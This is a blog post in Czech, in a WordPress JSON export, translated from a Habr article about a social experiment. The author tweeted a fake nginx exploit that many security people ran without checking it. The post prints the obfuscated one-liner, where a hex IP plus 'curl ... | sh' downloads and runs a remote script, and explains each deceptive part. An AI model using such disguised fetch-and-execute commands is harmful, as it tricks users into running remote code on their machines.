{"id":35126,"date":"2019-10-31T22:02:28","date_gmt":"2019-10-31T19:02:28","guid":{"rendered":"https:\/\/prohoster.info\/blog\/uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx\/"},"modified":"2019-10-31T22:02:28","modified_gmt":"2019-10-31T19:02:28","slug":"uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx","status":"publish","type":"post","link":"https:\/\/prohoster.info\/cs\/blog\/administrirovanie\/uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx","title":{"rendered":"\u00dasp\u011bch soci\u00e1ln\u00edho experimentu s fale\u0161n\u00fdm exploit pro nginx","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"<p><i><b>Pozn. p\u0159ek.<\/b>: <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/notdan\">Autor<\/a><\/noindex> origin\u00e1ln\u00edho p\u0159\u00edsp\u011bvku, publikovan\u00e9ho 1. \u010dervna, jsem se rozhodl prov\u00e9st experiment v prost\u0159ed\u00ed lid\u00ed zaj\u00edmaj\u00edc\u00edch se o informa\u010dn\u00ed bezpe\u010dnost. K tomu jsem p\u0159ipravil fale\u0161n\u00fd exploit k nezve\u0159ejn\u011bn\u00e9 zranitelnosti na webov\u00e9m serveru a um\u00edstil ho na sv\u016fj Twitter. Moje p\u0159edpoklady \u2014 b\u00fdt okam\u017eit\u011b odhalen odborn\u00edky, kte\u0159\u00ed by v k\u00f3du vid\u011bli jasn\u00fd podvod \u2014 se nejen\u017ee nenaplnily\u2026 Ale p\u0159ekonaly v\u0161echna o\u010dek\u00e1v\u00e1n\u00ed, a to v opa\u010dn\u00e9m sm\u011bru: tweet z\u00edskal obrovskou podporu od mnoha lid\u00ed, kte\u0159\u00ed nezkontrolovali jeho obsah.<\/i><\/p>\n<p><img decoding=\"async\" alt=\"\u00dasp\u011bch soci\u00e1ln\u00edho experimentu s fale\u0161n\u00fdm exploit pro nginx\" src=\"\/wp-content\/uploads\/2019\/06\/20ff08c6f541176c68ef2c689b989389.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\n<b>TL;DR: za \u017e\u00e1dn\u00fdch okolnost\u00ed nepou\u017e\u00edvejte pipeline soubor\u016f v sh nebo bash. To je skv\u011bl\u00fd zp\u016fsob, jak ztratit kontrolu nad po\u010d\u00edta\u010dem.<\/b><noindex><a rel=\"nofollow\" name=\"habracut\"><\/a><\/noindex><\/p>\n<p>Chci se s v\u00e1mi pod\u011blit o mal\u00fd p\u0159\u00edb\u011bh o \u017eertovn\u00e9m PoC-exploitu, kter\u00fd byl vytvo\u0159en 31. kv\u011btna. Objevil se rychle v reakci na zpr\u00e1vu od <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/alisaesage\">Alisy Esage \u0160ev\u010denko<\/a><\/noindex>, \u010dlena <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/thezdi\">Zero Day Initiative<\/a><\/noindex> (ZDI), o tom, \u017ee brzy budou zve\u0159ejn\u011bny informace o zranitelnosti v NGINX, vedouc\u00ed k RCE (vzd\u00e1len\u00e9mu spu\u0161t\u011bn\u00ed k\u00f3du). Jeliko\u017e NGINX je z\u00e1kladem mnoha webov\u00fdch str\u00e1nek, zpr\u00e1va m\u011bla b\u00fdt jako bomba. Ale kv\u016fli zpo\u017ed\u011bn\u00edm v procesu \u201eodpov\u011bdn\u00e9ho zve\u0159ej\u0148ov\u00e1n\u00ed\u201c informac\u00ed nebyly podrobnosti ud\u00e1losti zn\u00e1m\u00e9 \u2014 to je standardn\u00ed postup ZDI.<\/p>\n<p><img decoding=\"async\" alt=\"\u00dasp\u011bch soci\u00e1ln\u00edho experimentu s fale\u0161n\u00fdm exploit pro nginx\" src=\"\/wp-content\/uploads\/2019\/06\/fba47177ff2a2d05db7942f229e145b0.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i><noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/alisaesage\/status\/1134400951043874816\">Tweet<\/a><\/noindex> o zve\u0159ejn\u011bn\u00ed zranitelnosti v NGINX<\/i><\/p>\n<p>Kdy\u017e jsem dokon\u010dil pr\u00e1ci na nov\u00e9 technice obfuskace v curl, citoval jsem origin\u00e1ln\u00ed tweet a \"vypustil pracovn\u00ed PoC\", slo\u017een\u00fd z jedin\u00e9 \u0159\u00e1dky k\u00f3du, kter\u00e1 m\u011bla \u00fadajn\u011b vyu\u017e\u00edvat zji\u0161t\u011bnou zranitelnost. Samoz\u0159ejm\u011b, \u017ee to byla \u00fapln\u00e1 hloupost. Myslel jsem si, \u017ee m\u011b okam\u017eit\u011b odhal\u00ed, a \u017ee v tom lep\u0161\u00edm p\u0159\u00edpad\u011b dostanu p\u00e1r retweet\u016f (a to by byl vlastn\u011b \u00fasp\u011bch).<\/p>\n<p><img decoding=\"async\" alt=\"\u00dasp\u011bch soci\u00e1ln\u00edho experimentu s fale\u0161n\u00fdm exploit pro nginx\" src=\"\/wp-content\/uploads\/2019\/06\/30c8394a4bd7a151828bc3459f18f2f6.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i><noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/notdan\/status\/1134559331989434368\">Tweet<\/a><\/noindex> s fale\u0161n\u00fdm exploit<\/i><\/p>\n<p>Ale nedok\u00e1zal jsem si p\u0159edstavit, co se stalo d\u00e1l. Popularita m\u00e9ho tweetu vzrostla do nebes. \u00da\u017easn\u00e9 je, \u017ee v tuto chv\u00edli (15:00 MSK 1. \u010dervna) si st\u00e1le m\u00e1lo kdo uv\u011bdomuje, \u017ee je to podvod. Mnoz\u00ed ho retweetuj\u00ed bez jak\u00e9koli kontroly (nemluv\u011b o tom, aby se pot\u011b\u0161ili kr\u00e1snou ASCII grafikou, kterou zobrazuje).<\/p>\n<p><img decoding=\"async\" alt=\"\u00dasp\u011bch soci\u00e1ln\u00edho experimentu s fale\u0161n\u00fdm exploit pro nginx\" src=\"\/wp-content\/uploads\/2019\/06\/a22501843edc07cf0dc49b698b1048c2.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>Pod\u00edvejte se, jak\u00e1 kr\u00e1sa!<\/i><\/p>\n<p>I kdy\u017e jsou v\u0161echny tyto cykly a barvy \u00fa\u017easn\u00e9, je jasn\u00e9, \u017ee abychom je vid\u011bli, lid\u00e9 museli spustit k\u00f3d na sv\u00e9m stroji. Na\u0161t\u011bst\u00ed prohl\u00ed\u017ee\u010de funguj\u00ed obdobn\u011b, a s ohledem na to, \u017ee nepot\u0159ebuji \u017e\u00e1dn\u00e9 pr\u00e1vn\u00ed pot\u00ed\u017ee, k\u00f3d, kter\u00fd je ukryt\u00fd na m\u00e9 str\u00e1nce, pouze prov\u00e1d\u011bl vol\u00e1n\u00ed echo, ani\u017e by se pokusil nainstalovat nebo spustit jak\u00fdkoli dal\u0161\u00ed k\u00f3d.<\/p>\n<p>Mal\u00e9 odbo\u010den\u00ed: <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/netspooky\">netspooky<\/a><\/noindex>, <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/dnoiz1\">dnz<\/a><\/noindex>, j\u00e1 a dal\u0161\u00ed kluci z t\u00fdmu <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/thugcrowd\">Thugcrowd<\/a><\/noindex> u\u017e n\u011bjakou dobu zkou\u0161\u00edme r\u016fzn\u00e9 zp\u016fsoby obfuskace curl p\u0159\u00edkaz\u016f, proto\u017ee je to z\u00e1bavn\u00e9... a jsme geekov\u00e9. netspooky a dnz objevili n\u011bkolik nov\u00fdch metod, kter\u00e9 se mi zd\u00e1ly velmi perspektivn\u00ed. P\u0159ipojil jsem se k z\u00e1bav\u011b a pokusil se p\u0159idat p\u0159evody IP do sady trik\u016f. Uk\u00e1zalo se, \u017ee IP lze tak\u00e9 p\u0159ev\u00e9st do hexadecim\u00e1ln\u00edho form\u00e1tu. Nav\u00edc curl a v\u011bt\u0161ina ostatn\u00edch NIX n\u00e1stroj\u016f s radost\u00ed \u201epo\u017e\u00edv\u00e1\u201c hexadecim\u00e1ln\u00ed IP! Tak\u017ee bylo pot\u0159eba pouze vytvo\u0159it p\u0159esv\u011bd\u010div\u00fd a bezpe\u010dn\u011b vypadaj\u00edc\u00ed p\u0159\u00edkazov\u00fd \u0159\u00e1dek. Nakonec jsem se zastavil na tomto:<\/p>\n<pre><code class=\"plaintext\">curl -gsS https:\/\/127.0.0.1-OR-VICTIM-SERVER:443\/..\/..\/..\/\/nginx-handler?\/usr\/lib\/nginx\/modules\/ngx_stream_module.so:127.0.0.1:80:\/bin\/sh&lt;&#039;protocol:TCP&#039; -O 0x0238f06a#PLToffset |sh; nc \/dev\/tcp\/localhost<\/code><\/pre>\n<p><\/p>\n<h2>Socioelektronick\u00e9 in\u017een\u00fdrstv\u00ed (S.E.E.) \u2014 v\u00edc ne\u017e jen phishing<\/h2>\n<p>\nBezpe\u010dnost a pov\u011bdom\u00ed byly kl\u00ed\u010dov\u00fdmi prvky tohoto experimentu. Mysl\u00edm, \u017ee pr\u00e1v\u011b tyto faktory vedly k jeho \u00fasp\u011bchu. P\u0159\u00edkazov\u00fd \u0159\u00e1dek jasn\u011b nazna\u010doval bezpe\u010dnost, odkazuj\u00edc na \u201e127.0.0.1\u201c (v\u0161em zn\u00e1m\u00fd localhost). P\u0159edpokl\u00e1d\u00e1 se, \u017ee localhost je bezpe\u010dn\u00fd a data na n\u011bm nikdy neopou\u0161t\u011bj\u00ed v\u00e1\u0161 po\u010d\u00edta\u010d.<\/p>\n<p>Pov\u011bdom\u00ed bylo druhou kl\u00ed\u010dovou slo\u017ekou S.E.E. experimentu. Proto\u017ee c\u00edlov\u00e1 skupina se p\u0159ev\u00e1\u017en\u011b skl\u00e1dala z lid\u00ed obezn\u00e1men\u00fdch se z\u00e1klady po\u010d\u00edta\u010dov\u00e9 bezpe\u010dnosti, bylo d\u016fle\u017eit\u00e9 vytvo\u0159it k\u00f3d, jeho\u017e \u010d\u00e1sti by se zd\u00e1ly zn\u00e1m\u00e9 a p\u0159irozen\u00e9 (a tedy bezpe\u010dn\u00e9). P\u0159evzet\u00ed prvk\u016f star\u00fdch explota\u010dn\u00edch koncept\u016f a jejich kombinace neobvykl\u00fdm zp\u016fsobem se uk\u00e1zalo jako velmi \u00fasp\u011b\u0161n\u00e9.<\/p>\n<p>N\u00ed\u017ee je podrobn\u00e1 anal\u00fdza jednor\u00e1zov\u00e9ho p\u0159\u00edkazu. <i>V\u0161e v tomto seznamu m\u00e1 <b>kosmetickou povahu<\/b>, a pro jeho skute\u010dn\u00e9 fungov\u00e1n\u00ed nen\u00ed prakticky nic pot\u0159eba.<\/i><\/p>\n<p>Jak\u00e9 komponenty jsou skute\u010dn\u011b nezbytn\u00e9? Jsou to <code>-gsS<\/code>, <code>-O 0x0238f06a<\/code>, <code>|sh<\/code> a samotn\u00fd webov\u00fd server. Webov\u00fd server neobsahoval \u017e\u00e1dn\u00e9 zlomysln\u00e9 instrukce, pouze p\u0159en\u00e1\u0161el ASCII grafiku pomoc\u00ed p\u0159\u00edkaz\u016f <code>echo<\/code> ve skriptu, kter\u00fd se nach\u00e1z\u00ed v <code>index.html<\/code>. Kdy\u017e u\u017eivatel zadal \u0159et\u011bzec s <code>|sh<\/code> uprost\u0159ed, <code>index.html<\/code> nahr\u00e1l se a vykonal. Na\u0161t\u011bst\u00ed spr\u00e1vci webov\u00e9ho serveru nem\u011bli zl\u00e9 \u00famysly.<\/p>\n<ul>\n<li> <code>..\/..\/..\/%00<\/code> \u2014 zobrazuje \u00fanik mimo adres\u00e1\u0159;<\/li>\n<li> <code>ngx_stream_module.so<\/code> \u2014 cesta k n\u00e1hodn\u00e9mu modulu NGINX;<\/li>\n<li> <code>\/bin\/sh%00&lt;'protocol:TCP'<\/code> \u2014 \u00fadajn\u011b spou\u0161t\u00edme <code>\/bin\/sh<\/code> na c\u00edlov\u00e9m stroji a p\u0159esm\u011brov\u00e1v\u00e1me v\u00fdstup do TCP kan\u00e1lu;<\/li>\n<li> <code>-O 0x0238f06a#PLToffset<\/code> \u2014 tajn\u00e1 p\u0159\u00edsada, dopln\u011bn\u00e1 <code>#PLToffset<\/code>, aby vypadala jako posun v pam\u011bti, kter\u00fd se n\u011bjak obsahuje v PLT;<\/li>\n<li> <code>|sh;<\/code> \u2014 dal\u0161\u00ed d\u016fle\u017eit\u00fd fragment. Pot\u0159ebovali jsme p\u0159esm\u011brovat v\u00fdstup do sh\/bash, abychom spustili k\u00f3d poch\u00e1zej\u00edc\u00ed z \u00fato\u010dn\u00e9ho webov\u00e9ho serveru um\u00edst\u011bn\u00e9ho na adrese <code>0x0238f06a<\/code> (<code>2.56.240.x<\/code>);<\/li>\n<li> <code>nc \/dev\/tcp\/localhost<\/code> \u2014 pr\u00e1zdn\u00e9 m\u00edsto, kde netcat odkazuje na <code>\/dev\/tcp\/localhost<\/code>, aby v\u0161echno op\u011bt vypadalo bezpe\u010dn\u011b. Ve skute\u010dnosti ale nic ned\u011bl\u00e1 a je zahrnuto do \u0159et\u011bzce pro efekt.<\/li>\n<\/ul>\n<p>\nT\u00edm kon\u010d\u00ed de\u0161ifrov\u00e1n\u00ed jednostrann\u00e9ho skriptu a diskuse o aspektech \u201esocioelektronick\u00e9ho in\u017een\u00fdrstv\u00ed\u201c (vynal\u00e9zav\u00e9ho phishingu).<\/p>\n<h2>Konfigurace webov\u00e9ho serveru a protipat\u0159en\u00ed<\/h2>\n<p>\nJeliko\u017e drtiv\u00e1 v\u011bt\u0161ina m\u00fdch sleduj\u00edc\u00edch jsou specialist\u00e9 na informa\u010dn\u00ed bezpe\u010dnost\/hacker, rozhodl jsem se ud\u011blat webov\u00fd server trochu odoln\u011bj\u0161\u00edm v\u016f\u010di projev\u016fm \u201ez\u00e1jmu\u201c z jejich strany, aby m\u011bli co d\u011blat (a p\u0159ipravovat ho bylo z\u00e1bavn\u00e9). Nehodl\u00e1m zde uv\u00e1d\u011bt v\u0161echny pasti, proto\u017ee experiment st\u00e1le pokra\u010duje, ale zde je n\u011bkolik v\u011bc\u00ed, kter\u00e9 server d\u011bl\u00e1:<\/p>\n<ul>\n<li> Aktivn\u011b sleduje pokusy o \u0161\u00ed\u0159en\u00ed na ur\u010dit\u00fdch soci\u00e1ln\u00edch s\u00edt\u00edch a vkl\u00e1d\u00e1 r\u016fzn\u00e9 n\u00e1hledov\u00e9 miniatury, aby povzbudil u\u017eivatele k p\u0159echodu na odkaz.<\/li>\n<li> P\u0159esm\u011brov\u00e1v\u00e1 Chrome\/Mozilla\/Safari atd. na promo video Thugcrowd m\u00edsto toho, aby uk\u00e1zal skript shell.<\/li>\n<li> Sleduje O\u010cIV\u00c9 znaky vniknut\u00ed\/hrub\u00e9ho hacknut\u00ed, po \u010dem\u017e za\u010d\u00edn\u00e1 p\u0159esm\u011brov\u00e1vat dotazy na servery NSA (ha!).<\/li>\n<li> Instaluje trojana a tak\u00e9 BIOS rootkit na v\u0161echny po\u010d\u00edta\u010de, jejich\u017e u\u017eivatel\u00e9 nav\u0161t\u00edv\u00ed hostitele z b\u011b\u017en\u00e9ho prohl\u00ed\u017ee\u010de (vtip!).<\/li>\n<\/ul>\n<p>\n<img decoding=\"async\" alt=\"\u00dasp\u011bch soci\u00e1ln\u00edho experimentu s fale\u0161n\u00fdm exploit pro nginx\" src=\"\/wp-content\/uploads\/2019\/06\/8ea3f0c6e2e303bef6f9ba73370d6cf1.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>Mal\u00e1 \u010d\u00e1st antim\u00e9ru<\/i><\/p>\n<p>V tomto p\u0159\u00edpad\u011b byl m\u00fdm jedin\u00fdm c\u00edlem osvojen\u00ed si n\u011bkter\u00fdch schopnost\u00ed Apache - konkr\u00e9tn\u011b skv\u011bl\u00fdch pravidel pro p\u0159esm\u011brov\u00e1n\u00ed po\u017eadavk\u016f - a napadlo m\u011b: pro\u010d ne?<\/p>\n<h2>Exploit NGINX (skute\u010dn\u00fd!)<\/h2>\n<p>\nSledujte <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/alisaesage\">@alisaesage<\/a><\/noindex> na Twitteru a sledujte \u00fa\u017easnou pr\u00e1ci ZDI na odstra\u0148ov\u00e1n\u00ed skute\u010dn\u00fdch zranitelnost\u00ed a exploita\u010dn\u00edch mo\u017enost\u00ed v NGINX. Jejich pr\u00e1ce m\u011b v\u017edy fascinovala a jsem vd\u011b\u010dn\u00fd Alici za trp\u011blivost, kterou musela m\u00edt se v\u0161emi zm\u00ednkami a upozorn\u011bn\u00edmi, kter\u00e9 vypl\u00fdvaly z m\u00e9 hloup\u00e9 tweety. Na\u0161t\u011bst\u00ed to p\u0159ineslo tak\u00e9 ur\u010dit\u00e9 v\u00fdhody: pomohlo to zv\u00fd\u0161it pov\u011bdom\u00ed o zranitelnostech NGINX a o probl\u00e9mech zp\u016fsoben\u00fdch zneu\u017eit\u00edm curlu.<br \/>\n<br \/>Zdroj: <a content=\"nofollow\" rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/454700\/\">habr.com<\/a><\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"<p>\u041f\u0440\u0438\u043c. \u043f\u0435\u0440\u0435\u0432.: \u0410\u0432\u0442\u043e\u0440 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0439 \u0437\u0430\u043c\u0435\u0442\u043a\u0438, \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u043e\u0439 1 \u0438\u044e\u043d\u044f, \u0440\u0435\u0448\u0438\u043b \u043f\u0440\u043e\u0432\u0435\u0441\u0442\u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442 \u0432 \u0441\u0440\u0435\u0434\u0435 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